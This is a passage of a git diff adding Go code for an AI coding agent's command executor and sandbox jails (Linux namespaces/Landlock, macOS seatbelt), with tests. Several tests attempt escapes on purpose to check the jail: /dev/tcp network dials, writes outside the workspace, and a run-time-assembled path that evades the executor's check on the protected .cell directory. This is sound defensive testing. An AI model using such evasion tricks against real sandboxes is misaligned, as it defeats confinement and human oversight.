(sleep 0.4; printf second) & exit 0"}, Group: GroupInherit, WaitDelay: bound}, nil) + if err != nil { + t.Fatal(err) + } + if bound < 0 { + if res.Failure() != nil || string(res.Stdout) != "firstsecond" { + t.Fatalf("lost helper output: %+v %q", res, res.Stdout) + } + } else if !res.PipesForced { + t.Fatalf("bound %s stopped applying: %+v", bound, res) + } + } +} diff --git a/internal/executor/executor.go b/internal/executor/executor.go new file mode 100644 index 0000000000..8fd16ec67c --- /dev/null +++ b/internal/executor/executor.go @@ -0,0 +1,197 @@ +// Package executor is the one path from a tool call to an operating-system +// process (docs/ARCHITECTURE.md section 8). A request names what to run, where +// (relative to the workspace root), for how long, under which class and network +// policy; the result names what happened, whether the world outside the +// workspace could have been touched, and which children were left running. +// +// Two implementations exist: Local, which spawns here, and Remote, which will +// spawn on another device. The structural law in law_test.go keeps every other +// tool-execution package from reaching os/exec around this one. +package executor + +import ( + "context" + "errors" + "github.com/Agent-Field/codeaf/internal/processgroup" + "io" + "os/exec" + "time" +) + +// Class is declared per workspace, never detected. +type Class int + +const ( + // Sandboxed is the default: a jail applies where one is installed. + Sandboxed Class = iota + // FilesOnly runs no process at all. + FilesOnly + // HostBound runs unjailed on the home device. + HostBound +) + +// NetPolicy is the side-effect oracle. The zero value denies the network. It is +// never chosen at a call site: the executor derives it from the class the +// workspace declared (see policy.go). +type NetPolicy struct { + // Open grants the whole network; Allow grants named hosts only. + Open bool + Allow []string +} + +// Denies reports whether the call cannot reach the network at all. +func (p NetPolicy) Denies() bool { return !p.Open && len(p.Allow) == 0 } + +// SideEffect says where a call's effects can land. +type SideEffect string + +const ( + // EffectLocal: effects live only in the workspace. + EffectLocal SideEffect = "local" + // EffectExternal: effects may have reached the world beyond it. + EffectExternal SideEffect = "external" +) + +// Classify is the whole rule: no network, no external effect. It is exported +// so a caller can decide the side effect before the call runs (the WAL intent). +func Classify(p NetPolicy) SideEffect { + if p.Denies() { + return EffectLocal + } + return EffectExternal +} + +// Group says how the child is placed among the harness's own processes. +type Group int + +const ( + // GroupOwn gives the child its own process group, so a kill reaches + // everything it started. It is the default. + GroupOwn Group = iota + // GroupSession gives it a new session: its own group and no controlling + // terminal, so a program that opens /dev/tty is refused. + GroupSession + // GroupInherit leaves it in the harness's group. + GroupInherit +) + +// ExecRequest is one process to run. +type ExecRequest struct { + Argv []string + Env []string // nil inherits the host environment + Dir string // relative to the workspace root, never under .cell/ + Timeout time.Duration // zero means no limit beyond the context + + // Setup marks a setup turn's call (docs/ARCHITECTURE.md 8.4): the network + // is open and the result is external. It is the only intent a caller states. + Setup bool + + // Class and Net are filled in by Local from the workspace's declared class + // (policy.go); a value a caller sets is overwritten. They are exported so + // a Jail and an Observer can read them. + Class Class + Net NetPolicy + + Stdin io.Reader // nil reads nothing + Group Group // where the child sits; the zero value is its own group + WaitDelay time.Duration // bound on draining output after exit; zero picks a short default; negative waits without a bound + Combined bool // stderr shares stdout's pipe, so arrival order is kept + Stream bool // output goes to onOutput only; the result keeps none of it +} + +// Stream names an output stream. +type Stream int + +const ( + Stdout Stream = iota + Stderr +) + +// Chunk is a piece of output, delivered as it is produced. +type Chunk struct { + Stream Stream + Data []byte +} + +// Service is a process group still alive after its call returned. +type Service struct { + Name string // basename of the first member's argv[0] + Argv []string // the first member's command line (the request's off Linux) + PGID int + Ports []int // listening TCP ports, when known (Linux only) + DataDir string // cell-relative data directory, when the service keeps one +} + +// SnapshotExact is the seal's quality rule (docs/ARCHITECTURE.md 4.3, derived, +// never stored): a snapshot is exact iff the call left no process alive. +// Anything still running may be writing, so the seal is best effort. +func SnapshotExact(res ExecResult) bool { return len(res.Services) == 0 } + +// ExecResult is what one call did. +type ExecResult struct { + Exit int // -1 when the process was killed or never exited + Status string + TimedOut bool + PipesForced bool // a child kept the output pipes open and they were closed on it + Stdout []byte + Stderr []byte + Wall time.Duration + SideEffect SideEffect + Services []Service + // JailDegraded: the jail could not apply every limit on this kernel. + JailDegraded bool +} + +// Failure is nil for a clean exit and otherwise the process's own status +// sentence, such as "exit status 2" or "signal: killed". A clean exit whose +// output pipes had to be closed on a lingering child reports exec.ErrWaitDelay, +// as os/exec does. +func (r ExecResult) Failure() error { + switch { + case r.Exit != 0: + return errors.New(r.Status) + case r.PipesForced: + return exec.ErrWaitDelay + } + return nil +} + +// Executor runs a request and streams output to onOutput, which may be nil. +// A process that exits non-zero is a result, not an error; an error means the +// call could not run or was cancelled by its context. +type Executor interface { + Exec(ctx context.Context, req ExecRequest, onOutput func(Chunk)) (ExecResult, error) +} + +// Observer is told about every call that ran: the request and what came back. +// It must not block, and it never changes the result. +type Observer interface { + Observe(req ExecRequest, res ExecResult) +} + +// Job is one command that outlives the call that started it: a background job a +// session registered, still running until it is not. +type Job struct { + // ID names the job for the life of the session; Ended names it again. + ID int + // Command is the command line as the session started it. + Command string + // Dir is the folder it runs in, relative to the workspace root; "" is the root. + Dir string + // PGID is the process group it leads. + PGID int +} + +// Lifecycle is what an [Observer] may also implement to hear of a job as it +// starts and as it ends, however it ends. It exists because a job is started +// through Command, which an observer never sees: what runs after the call +// returned is known only to the site that owns the process, so that site says so. +type Lifecycle interface { + Started(job Job) + Ended(id int) +} + +// GroupPorts is the TCP ports the process group pgid is listening on, empty +// where the platform cannot say. It is what tells a running server from a +// process that merely exists. +func GroupPorts(pgid int) []int { return listenPorts(processgroup.Members(pgid)) } diff --git a/internal/executor/executortest/executortest.go b/internal/executor/executortest/executortest.go new file mode 100644 index 0000000000..a9cce4aea1 --- /dev/null +++ b/internal/executor/executortest/executortest.go @@ -0,0 +1,11 @@ +// Package executortest is how a test binary that exercises tools without a +// session says, once and by name, that its calls run on the host. +package executortest + +import "github.com/Agent-Field/codeaf/internal/executor" + +// Host makes the host seat the one seatless calls in this test binary run on. +// A production context that lost its session still fails with +// [executor.ErrNoSeat]; only a package that imports this from a _test.go file +// is spared. +func Host() { executor.UseInTests(executor.Host) } diff --git a/internal/executor/executortest/namespaces_linux.go b/internal/executor/executortest/namespaces_linux.go new file mode 100644 index 0000000000..bd5d1def9c --- /dev/null +++ b/internal/executor/executortest/namespaces_linux.go @@ -0,0 +1,16 @@ +//go:build linux + +package executortest + +import ( + "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/executor" +) + +// The CI-like test run supplies this only to test binaries. No production +// setting can turn off confinement or replace a capability measurement. +func init() { + if env.Get("CODEAF_TEST_NO_USERNS") == "1" { + executor.UseNamespaceProbeInTests(func() bool { return false }) + } +} diff --git a/internal/executor/gated.go b/internal/executor/gated.go new file mode 100644 index 0000000000..da75fd6868 --- /dev/null +++ b/internal/executor/gated.go @@ -0,0 +1,43 @@ +package executor + +import "context" + +// Gated is seat with a gate in front of every tool call: while gate answers an +// error the call is refused with that error and nothing runs, and while it +// answers nil the seat is untouched. It is how a chat that another machine +// took over stops acting (a viewer only shows). A nil gate leaves the seat as +// it was. +func Gated(seat Seat, gate func() error) Seat { + if gate == nil { + return seat + } + return gated{Seat: seat, gate: gate} +} + +type gated struct { + Seat + gate func() error +} + +// ForSetup implements SetupSeat: a setup turn's calls are gated too. +func (g gated) ForSetup() Seat { return Gated(ForSetup(g.Seat), g.gate) } + +// NoteModelCall implements ModelNoter: the seat beneath keeps the record. +func (g gated) NoteModelCall(m ModelCall) { NoteModelCall(g.Seat, m) } + +// Interrupted implements Interruptible: the answer is the seat beneath's. +func (g gated) Interrupted() Interrupted { return InterruptedOn(g.Seat) } + +// Around implements Seat: a refused call is not run. +func (g gated) Around(ctx context.Context, call Call, run func() ([]byte, bool)) error { + if err := g.gate(); err != nil { + return err + } + return g.Seat.Around(ctx, call, run) +} + +// Settle implements Settler: the seat beneath keeps the record. +func (g gated) Settle(ctx context.Context) { Settle(ctx, g.Seat) } + +// Drain forwards the pending capture boundary to the seat beneath. +func (g gated) Drain(ctx context.Context) error { return Drain(ctx, g.Seat) } diff --git a/internal/executor/jail.go b/internal/executor/jail.go new file mode 100644 index 0000000000..1000d55723 --- /dev/null +++ b/internal/executor/jail.go @@ -0,0 +1,21 @@ +package executor + +import ( + "errors" + "fmt" +) + +// ErrNoIsolation is the refusal of a call that must have no network on a +// system that cannot isolate it. It reads as a sentence to the person: the +// call did not run. +var ErrNoIsolation = errors.New("this command was not run: the workspace is sandboxed (no network) but this system " + + "cannot block the network") + +// refuseWithout fails closed, saying why and what to do, when the network must +// be denied; a call that may use the network runs unconfined (degraded). +func refuseWithout(req ExecRequest, remedy string) error { + if req.Net.Denies() { + return fmt.Errorf("%w: %s", ErrNoIsolation, remedy) + } + return nil +} diff --git a/internal/executor/jail_darwin.go b/internal/executor/jail_darwin.go new file mode 100644 index 0000000000..e6d7f4f4e2 --- /dev/null +++ b/internal/executor/jail_darwin.go @@ -0,0 +1,134 @@ +//go:build darwin + +package executor + +// jail_darwin.go confines a child with the system's seatbelt (sandbox-exec): +// the command is wrapped, and the profile (seatbelt.go) is passed inline, so +// nothing is written to disk and nothing needs cleaning up. + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "os/exec" + "path/filepath" + "strings" + "sync" +) + +const sandboxExec = "/usr/bin/sandbox-exec" + +// SeatbeltJail is the macOS Jail. Hidden names extra directories no call may +// read or write, such as the engine store; the workspace's .cell/ is always +// hidden. The zero value is ready to use. +type SeatbeltJail struct { + Hidden []string +} + +// Confine rewrites cmd to run under sandbox-exec. +func (j SeatbeltJail) Confine(cmd *exec.Cmd, req ExecRequest) error { + if cmd.Err != nil { + return cmd.Err + } + if !seatbeltWorks() { + return refuseWithout(req, "sandbox-exec is unavailable; declare the workspace host-bound") + } + sc, err := j.scopeFor(cmd, req) + if err != nil { + return err + } + if err := os.MkdirAll(sc.tmp, 0o700); err != nil { + return err + } + // TODO(allowlist): a host allowlist is treated as open until proxying exists. + cmd.Args = append([]string{sandboxExec, "-p", sc.profile(), cmd.Path}, cmd.Args[1:]...) + cmd.Path = sandboxExec + cmd.Env = withTmpdir(cmd.Env, sc.tmp) + return nil +} + +// Degraded reports that sandbox-exec cannot apply, so the call ran unconfined. +func (SeatbeltJail) Degraded(ExecRequest) bool { return !seatbeltWorks() } + +// scopeFor builds the call's scope from canonical paths: the profile matches +// real paths, and /var and /tmp are links. +func (j SeatbeltJail) scopeFor(cmd *exec.Cmd, req ExecRequest) (scope, error) { + root, err := canonical(cmd.Dir) + if err != nil { + return scope{}, err + } + // The private tmp is a directory of its own, reused by every call in this + // workspace, so it is never the workspace and needs no removal hook. + tmp, err := canonical(os.TempDir()) + if err != nil { + return scope{}, err + } + hidden, err := canonicals(append([]string{filepath.Join(root, ".cell")}, j.Hidden...)) + if err != nil { + return scope{}, err + } + return scope{root: root, tmp: filepath.Join(tmp, "codeaf-jail-"+digest(root)), hidden: hidden, net: req.Net}, nil +} + +// canonical is an absolute path with links resolved; a path that does not +// exist yet keeps its cleaned form. +func canonical(p string) (string, error) { + abs, err := filepath.Abs(p) + if err != nil { + return "", err + } + if real, err := filepath.EvalSymlinks(abs); err == nil { + return real, nil + } + return abs, nil +} + +func canonicals(paths []string) ([]string, error) { + out := make([]string, len(paths)) + for i, p := range paths { + c, err := canonical(p) + if err != nil { + return nil, err + } + out[i] = c + } + return out, nil +} + +func digest(s string) string { + sum := sha256.Sum256([]byte(s)) + return hex.EncodeToString(sum[:6]) +} + +// withTmpdir points the child's temporary directory at the private one; a nil +// environment inherits the host's first. +func withTmpdir(env []string, tmp string) []string { + if env == nil { + env = os.Environ() + } + kept := make([]string, 0, len(env)+1) + for _, kv := range env { + if !strings.HasPrefix(kv, "TMPDIR=") { + kept = append(kept, kv) + } + } + return append(kept, "TMPDIR="+tmp) +} + +var ( + probeOnce sync.Once + probed bool +) + +// seatbeltWorks measures once whether a profile applies: a no-op runs under a +// minimal one. +func seatbeltWorks() bool { + probeOnce.Do(func() { + probe := exec.Command(sandboxExec, "-p", "(version 1)(allow default)", "/usr/bin/true") //codeaf:plumbing capability probe of the jail itself + probed = probe.Run() == nil + }) + return probed +} + +// DefaultJail is the jail this system provides. +func DefaultJail() Jail { return SeatbeltJail{} } diff --git a/internal/executor/jail_darwin_test.go b/internal/executor/jail_darwin_test.go new file mode 100644 index 0000000000..db03a5e3ad --- /dev/null +++ b/internal/executor/jail_darwin_test.go @@ -0,0 +1,146 @@ +//go:build darwin + +package executor + +import ( + "context" + "net" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func jailed(t *testing.T, j Jail, root string, class Class, req ExecRequest) ExecResult { + t.Helper() + if !seatbeltWorks() { + t.Skip("sandbox-exec unavailable") + } + res, err := Local{Root: root, Class: class, Jail: j}.Exec(context.Background(), req, nil) + if err != nil { + t.Fatalf("Exec: %v", err) + } + return res +} + +// loopback returns a local TCP address a confined child can reach only if the +// network is open to it. +func loopback(t *testing.T) string { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Skipf("no loopback: %v", err) + } + t.Cleanup(func() { l.Close() }) + go func() { + for { + c, err := l.Accept() + if err != nil { + return + } + c.Close() + } + }() + return l.Addr().String() +} + +func dialer(addr string) ExecRequest { + host, port, _ := net.SplitHostPort(addr) + r := sh("exec 3<>/dev/tcp/" + host + "/" + port) + r.Timeout = 10 * time.Second + return r +} + +func TestSeatbeltProbe(t *testing.T) { + if !seatbeltWorks() { + t.Fatal("sandbox-exec does not apply on this macOS") + } + if (SeatbeltJail{}).Degraded(ExecRequest{}) { + t.Fatal("a working seatbelt reports degraded") + } +} + +func TestSandboxedCannotWriteOutsideWorkspace(t *testing.T) { + root := t.TempDir() + outsides := []string{ + filepath.Join(os.Getenv("HOME"), ".jail-test-outside"), + filepath.Join(filepath.Dir(root), "jail-test-sibling"), + } + for _, o := range outsides { + defer os.Remove(o) + } + res := jailed(t, SeatbeltJail{}, root, Sandboxed, sh("echo x > "+outsides[0]+"; echo x > "+outsides[1]+"; echo y > inside.txt")) + for _, o := range outsides { + if _, err := os.Stat(o); err == nil { + t.Fatalf("wrote outside the workspace: %s", o) + } + } + if b, _ := os.ReadFile(filepath.Join(root, "inside.txt")); strings.TrimSpace(string(b)) != "y" { + t.Fatalf("workspace write failed: %s", res.Stderr) + } +} + +func TestSandboxedHasPrivateWritableTmp(t *testing.T) { + res := jailed(t, SeatbeltJail{}, t.TempDir(), Sandboxed, sh(`echo t > "$TMPDIR/scratch" && cat "$TMPDIR/scratch"`)) + if res.Exit != 0 || strings.TrimSpace(string(res.Stdout)) != "t" { + t.Fatalf("private tmp unusable: %+v", res) + } + if res := jailed(t, SeatbeltJail{}, t.TempDir(), Sandboxed, sh("echo t > /tmp/jail-test-shared")); res.Exit == 0 { + os.Remove("/tmp/jail-test-shared") + t.Fatal("wrote the shared /tmp") + } +} + +func TestNetworkDeniedUnlessSetup(t *testing.T) { + addr := loopback(t) + if res := jailed(t, SeatbeltJail{}, t.TempDir(), Sandboxed, dialer(addr)); res.Exit == 0 || res.SideEffect != EffectLocal { + t.Fatalf("a sandboxed call reached a local listener: %+v", res) + } + setup := dialer(addr) + setup.Setup = true + if res := jailed(t, SeatbeltJail{}, t.TempDir(), Sandboxed, setup); res.Exit != 0 || res.SideEffect != EffectExternal { + t.Fatalf("a setup call was cut off: %+v", res) + } +} + +func TestCellIsUnreadable(t *testing.T) { + root := t.TempDir() + cell := filepath.Join(root, ".cell") + if err := os.Mkdir(cell, 0o755); err != nil { + t.Fatal(err) + } + os.WriteFile(filepath.Join(cell, "secret"), []byte("s"), 0o644) + // Assembled at run time: a literal .cell argument is refused before the jail. + res := jailed(t, SeatbeltJail{}, root, Sandboxed, sh(`d="$(printf '.ce%s' ll)"; cat "$d/secret"; echo z > "$d/new"`)) + if res.Exit == 0 || strings.Contains(string(res.Stdout), "s") { + t.Fatalf("read .cell inside the jail: %+v", res) + } + if _, err := os.Stat(filepath.Join(cell, "new")); err == nil { + t.Fatal("wrote into .cell inside the jail") + } +} + +func TestHiddenStoreIsUnreachable(t *testing.T) { + store := t.TempDir() + os.WriteFile(filepath.Join(store, "obj"), []byte("o"), 0o644) + res := jailed(t, SeatbeltJail{Hidden: []string{store}}, t.TempDir(), Sandboxed, sh("cat "+filepath.Join(store, "obj"))) + if res.Exit == 0 || strings.Contains(string(res.Stdout), "o") { + t.Fatalf("read the engine store inside the jail: %+v", res) + } +} + +func TestHostBoundRunsUnconfined(t *testing.T) { + addr := loopback(t) + outside := filepath.Join(os.Getenv("HOME"), ".jail-test-host") + defer os.Remove(outside) + req := dialer(addr) + req.Argv[2] += "; echo x > " + outside + res := jailed(t, SeatbeltJail{}, t.TempDir(), HostBound, req) + if res.Exit != 0 || res.JailDegraded { + t.Fatalf("host-bound call was confined: %+v", res) + } + if _, err := os.Stat(outside); err != nil { + t.Fatal("host-bound call could not write outside the workspace") + } +} diff --git a/internal/executor/jail_linux.go b/internal/executor/jail_linux.go new file mode 100644 index 0000000000..ebd503891c --- /dev/null +++ b/internal/executor/jail_linux.go @@ -0,0 +1,217 @@ +//go:build linux + +package executor + +// jail_linux.go confines a child with only kernel features and this binary: +// a private network namespace when the policy denies the network, a private +// /tmp, an unreadable .cell/, and Landlock write limits (workspace, /tmp and +// /dev only). The child is this binary re-executed as a helper, which sets up +// the mounts and Landlock inside the new namespaces and then execs the tool. + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "syscall" + "unsafe" + + "golang.org/x/sys/unix" +) + +// helperName is argv[0] of the re-executed helper. +const helperName = "codeaf-jail-helper" + +// LinuxJail is the Linux Jail. The zero value is ready to use. +type LinuxJail struct{} + +// Confine rewrites cmd to run under the helper. +func (LinuxJail) Confine(cmd *exec.Cmd, req ExecRequest) error { + if cmd.Err != nil { + return cmd.Err + } + caps := Probe() + if !caps.UserNS { + return refuseWithoutNamespaces(req) + } + root, err := filepath.Abs(cmd.Dir) + if err != nil { + return err + } + // TODO(allowlist): a host allowlist is treated as open until proxying exists. + cmd.SysProcAttr = withNamespaces(cmd.SysProcAttr, req.Net.Denies()) + cmd.Args = append([]string{helperName, boolArg(caps.Landlock), root, cmd.Path}, cmd.Args...) + cmd.Path = "/proc/self/exe" + return nil +} + +// Degraded reports that the filesystem limits could not all be applied. +func (LinuxJail) Degraded(ExecRequest) bool { + c := Probe() + return !c.Landlock || !c.UserNS +} + +// refuseWithoutNamespaces fails closed when the network must be denied and +// runs unconfined (degraded) otherwise. +func refuseWithoutNamespaces(req ExecRequest) error { + return refuseWithout(req, "user namespaces are disabled; enable user namespaces or declare the workspace host-bound") +} + +// withNamespaces merges the namespace attributes into the group attributes. +func withNamespaces(base *syscall.SysProcAttr, newNet bool) *syscall.SysProcAttr { + ns := namespaceAttr(newNet) + if base != nil { + ns.Setpgid, ns.Pgid, ns.Setsid = base.Setpgid, base.Pgid, base.Setsid + } + return ns +} + +func boolArg(b bool) string { + if b { + return "1" + } + return "0" +} + +func init() { + if len(os.Args) == 2 && os.Args[0] == helperName && os.Args[1] == "probe" { + os.Exit(0) + } + if len(os.Args) > 4 && os.Args[0] == helperName { + os.Exit(runHelper(os.Args[1] == "1", os.Args[2], os.Args[3], os.Args[4:])) + } +} + +// runHelper runs inside the new namespaces; it only returns on failure. +func runHelper(landlock bool, root, path string, argv []string) int { + steps := []func() error{ + func() error { return unix.Mount("", "/", "", unix.MS_REC|unix.MS_PRIVATE, "") }, + func() error { return privateTmp(root) }, + func() error { return hideCell(root) }, + func() error { return applyLandlock(landlock, root) }, + dropCaps, + } + for _, step := range steps { + if err := step(); err != nil { + os.Stderr.WriteString("jail: " + err.Error() + "\n") + return 126 + } + } + err := syscall.Exec(path, argv, os.Environ()) + os.Stderr.WriteString("jail: exec: " + err.Error() + "\n") + return 127 +} + +// tmpHome is the shared temporary directory the jail replaces with a private one. +const tmpHome = "/tmp" + +// livesInTmp reports a workspace that is itself under the shared tmp, which +// then stays as it is: hiding it would hide the workspace. +func livesInTmp(root string) bool { + rel, err := filepath.Rel(tmpHome, root) + return err == nil && !strings.HasPrefix(rel, "..") +} + +func privateTmp(root string) error { + if livesInTmp(root) { + return nil + } + return mountTmpfs(tmpHome, "mode=1777") +} + +func mountTmpfs(target, opts string) error { + return unix.Mount("tmpfs", target, "tmpfs", unix.MS_NOSUID|unix.MS_NODEV, opts) +} + +// hideCell covers the harness-owned directory with an unreadable empty one. +func hideCell(root string) error { + cell := filepath.Join(root, ".cell") + if _, err := os.Stat(cell); err != nil { + return nil + } + return mountTmpfs(cell, "mode=000") +} + +func dropCaps() error { + return unix.Prctl(unix.PR_CAP_AMBIENT, unix.PR_CAP_AMBIENT_CLEAR_ALL, 0, 0, 0) +} + +const ( + readAccess = unix.LANDLOCK_ACCESS_FS_EXECUTE | unix.LANDLOCK_ACCESS_FS_READ_FILE | unix.LANDLOCK_ACCESS_FS_READ_DIR + // abiTruncate and abiIoctl are the ABI versions that added those rights. + abiRefer, abiTruncate, abiIoctl = 2, 3, 5 +) + +// writeAccess is every right beyond reading that this kernel ABI knows. +func writeAccess(abi int) uint64 { + w := uint64(unix.LANDLOCK_ACCESS_FS_WRITE_FILE | unix.LANDLOCK_ACCESS_FS_REMOVE_DIR | + unix.LANDLOCK_ACCESS_FS_REMOVE_FILE | unix.LANDLOCK_ACCESS_FS_MAKE_CHAR | + unix.LANDLOCK_ACCESS_FS_MAKE_DIR | unix.LANDLOCK_ACCESS_FS_MAKE_REG | + unix.LANDLOCK_ACCESS_FS_MAKE_SOCK | unix.LANDLOCK_ACCESS_FS_MAKE_FIFO | + unix.LANDLOCK_ACCESS_FS_MAKE_BLOCK | unix.LANDLOCK_ACCESS_FS_MAKE_SYM) + for v, bit := range map[int]uint64{abiRefer: unix.LANDLOCK_ACCESS_FS_REFER, + abiTruncate: unix.LANDLOCK_ACCESS_FS_TRUNCATE, abiIoctl: unix.LANDLOCK_ACCESS_FS_IOCTL_DEV} { + if abi >= v { + w |= bit + } + } + return w +} + +// applyLandlock reads anywhere but writes only in the workspace, /tmp and /dev. +func applyLandlock(enabled bool, root string) error { + if !enabled { + return nil + } + abi := landlockABI() + write := writeAccess(abi) + fd, err := createRuleset(readAccess | write) + if err != nil { + return err + } + defer unix.Close(fd) + rules := map[string]uint64{"/": readAccess, root: readAccess | write, "/dev": readAccess | write} + if !livesInTmp(root) { + rules[tmpHome] = readAccess | write + } + for path, access := range rules { + if err := allow(fd, path, access); err != nil { + return err + } + } + if err := unix.Prctl(unix.PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); err != nil { + return err + } + _, _, errno := unix.Syscall(unix.SYS_LANDLOCK_RESTRICT_SELF, uintptr(fd), 0, 0) + return errnoErr(errno) +} + +func createRuleset(handled uint64) (int, error) { + attr := unix.LandlockRulesetAttr{Access_fs: handled} + fd, _, errno := unix.Syscall(unix.SYS_LANDLOCK_CREATE_RULESET, + uintptr(unsafe.Pointer(&attr)), unsafe.Sizeof(attr), 0) + return int(fd), errnoErr(errno) +} + +// allow grants access beneath path; the access is masked to what the ruleset handles. +func allow(ruleset int, path string, access uint64) error { + fd, err := unix.Open(path, unix.O_PATH|unix.O_CLOEXEC, 0) + if err != nil { + return err + } + defer unix.Close(fd) + rule := unix.LandlockPathBeneathAttr{Allowed_access: access, Parent_fd: int32(fd)} + _, _, errno := unix.Syscall6(unix.SYS_LANDLOCK_ADD_RULE, uintptr(ruleset), + unix.LANDLOCK_RULE_PATH_BENEATH, uintptr(unsafe.Pointer(&rule)), 0, 0, 0) + return errnoErr(errno) +} + +func errnoErr(e syscall.Errno) error { + if e == 0 { + return nil + } + return e +} + +// DefaultJail is the jail this system provides. +func DefaultJail() Jail { return LinuxJail{} } diff --git a/internal/executor/jail_linux_test.go b/internal/executor/jail_linux_test.go new file mode 100644 index 0000000000..b47a0e0747 --- /dev/null +++ b/internal/executor/jail_linux_test.go @@ -0,0 +1,203 @@ +//go:build linux + +package executor + +import ( + "context" + "errors" + "fmt" + "golang.org/x/sys/unix" + "os" + "os/exec" + "path/filepath" + "strings" + "sync" + "syscall" + "testing" + "time" +) + +func jailed(t *testing.T, root string, req ExecRequest) ExecResult { + t.Helper() + res, err := Local{Root: root, Jail: LinuxJail{}}.Exec(context.Background(), req, nil) + if err != nil { + t.Fatalf("Exec: %v", err) + } + return res +} + +func needLandlock(t *testing.T) { + t.Helper() + if !Probe().Landlock { + t.Skip("landlock unavailable") + } +} + +func TestProbeReportsCapabilities(t *testing.T) { + c := Probe() + t.Logf("capabilities: %+v", c) + if c != Probe() || c.Landlock != (c.LandlockABI > 0) { + t.Fatalf("probe unstable or inconsistent: %+v", c) + } +} + +// TestDenyPolicyBlocksNetwork proves C18: missing confinement refuses the +// denied call, while an available jail keeps the outside listener unreachable. +func TestDenyPolicyBlocksNetwork(t *testing.T) { + if unavailableJail(t) { + return + } + addr := strings.Replace(listener(t), ":", "/", 1) + dial := ExecRequest{Argv: []string{"bash", "-c", "exec 3<>/dev/tcp/" + addr}, Timeout: 10 * time.Second} + deny := jailed(t, t.TempDir(), dial) + if deny.Exit == 0 { + t.Fatal("dial succeeded inside a deny jail") + } + open := dial + open.Setup = true + if r := jailed(t, t.TempDir(), open); r.Exit != 0 { + t.Skipf("host itself cannot reach 1.1.1.1: %s", r.Stderr) + } +} + +// TestWriteOutsideWorkspaceFails proves C18 on confined and degraded hosts. +func TestWriteOutsideWorkspaceFails(t *testing.T) { + if unavailableJail(t) { + return + } + needLandlock(t) + root := t.TempDir() + outside := filepath.Join(t.TempDir(), "outside") + defer os.Remove(outside) + res := jailed(t, root, sh("echo x > "+outside+"; echo y > inside.txt")) + if _, err := os.Stat(outside); err == nil { + t.Fatal("wrote outside the workspace") + } + if b, _ := os.ReadFile(filepath.Join(root, "inside.txt")); strings.TrimSpace(string(b)) != "y" { + t.Fatalf("workspace write failed: %s", res.Stderr) + } + if !res.JailDegraded == !Probe().Landlock { + t.Fatal("JailDegraded disagrees with the probe") + } +} + +// TestCellIsUnreadable proves C18 without mistaking unavailable confinement for a jail. +func TestCellIsUnreadable(t *testing.T) { + if unavailableJail(t) { + return + } + root := t.TempDir() + cell := filepath.Join(root, ".cell") + if err := os.Mkdir(cell, 0o755); err != nil { + t.Fatal(err) + } + os.WriteFile(filepath.Join(cell, "secret"), []byte("s"), 0o644) + // The path is assembled at run time: a literal .cell argument is refused by + // the executor before it reaches the jail, and this tests the jail. + res := jailed(t, root, sh(`cat "$(printf '.ce%s' ll)/secret"`)) + if res.Exit == 0 || strings.Contains(string(res.Stdout), "s") { + t.Fatalf("read .cell inside the jail: %+v", res) + } + if b, _ := os.ReadFile(filepath.Join(cell, "secret")); string(b) != "s" { + t.Fatal("host .cell was altered") + } +} + +func TestHostBoundRunsUnjailed(t *testing.T) { + req := sh("echo host-bound") + req.Timeout = 10 * time.Second + res, err := Local{Root: t.TempDir(), Class: HostBound, Jail: LinuxJail{}}.Exec(context.Background(), req, nil) + if err != nil || res.JailDegraded { + t.Fatalf("host-bound call was jailed: %+v %v", res, err) + } +} + +// unavailableJail proves C18 through the real Confine/exec door on a host +// without namespaces: denied work never runs and setup work reports the limit. +func unavailableJail(t *testing.T) bool { + t.Helper() + if Probe().UserNS { + return false + } + root := t.TempDir() + req := sh("echo ran > marker") + local := Local{Root: root, Jail: LinuxJail{}} + if _, err := local.Exec(context.Background(), req, nil); !errors.Is(err, ErrNoIsolation) { + t.Fatalf("unavailable jail did not refuse denied work: %v", err) + } + if _, err := os.Stat(filepath.Join(root, "marker")); !os.IsNotExist(err) { + t.Fatal("refused work ran") + } + req.Setup = true + res, err := local.Exec(context.Background(), req, nil) + if err != nil || res.Exit != 0 || !res.JailDegraded || res.SideEffect != EffectExternal { + t.Fatalf("setup without namespaces = %+v, %v", res, err) + } + if data, _ := os.ReadFile(filepath.Join(root, "marker")); string(data) != "ran\n" { + t.Fatal("setup did not run") + } + return true +} + +// TestC18HelperExecDeniedDegradesAndRefuses reproduces a kernel that creates +// namespaces but denies the jail's ambient-capability helper exec, as on CI. +func TestC18HelperExecDeniedDegradesAndRefuses(t *testing.T) { + previous := runNamespaceProbe + t.Cleanup(func() { runNamespaceProbe = previous }) + attempts := 0 + runNamespaceProbe = func(cmd *exec.Cmd) error { + attempts++ + if cmd.Path != "/proc/self/exe" || fmt.Sprint(cmd.Args) != fmt.Sprint([]string{helperName, "probe"}) { + t.Fatalf("probe is not the jail helper: %+v", cmd) + } + attr := cmd.SysProcAttr + if attr.Cloneflags != namespaceAttr(true).Cloneflags || len(attr.AmbientCaps) != 1 || attr.AmbientCaps[0] != unix.CAP_SYS_ADMIN { + t.Fatalf("probe does not exercise the jail attributes: %+v", attr) + } + return syscall.EACCES + } + t.Cleanup(UseNamespaceProbeInTests(userNSWorks)) + if !unavailableJail(t) || attempts == 0 { + t.Fatal("denied helper was treated as available") + } +} + +// TestC18AvailableProbeUsesTheHelper proves C18's available branch reaches the +// same confined command, rather than silently bypassing a supported jail. +func TestC18AvailableProbeUsesTheHelper(t *testing.T) { + if !userNSWorks() { + unavailableJail(t) + return + } + t.Cleanup(UseNamespaceProbeInTests(func() bool { return true })) + res := jailed(t, t.TempDir(), sh("echo confined")) + if res.Exit != 0 || string(res.Stdout) != "confined\n" { + t.Fatalf("confined exec = %+v", res) + } +} + +func init() { + if os.Getenv("CODEAF_TEST_NO_USERNS") == "1" { + UseNamespaceProbeInTests(func() bool { return false }) + } +} + +// TestC18ProbeCachesTheHelperLaunch proves C18: one denied helper exec fixes +// the process's capability answer, so repeated calls cannot spawn more probes. +func TestC18ProbeCachesTheHelperLaunch(t *testing.T) { + oldOnce, oldCaps, oldOverride, oldRun := probeOnce, probed, namespaceProbeInTests, runNamespaceProbe + t.Cleanup(func() { + probeOnce, probed, namespaceProbeInTests, runNamespaceProbe = oldOnce, oldCaps, oldOverride, oldRun + }) + probeOnce, probed, 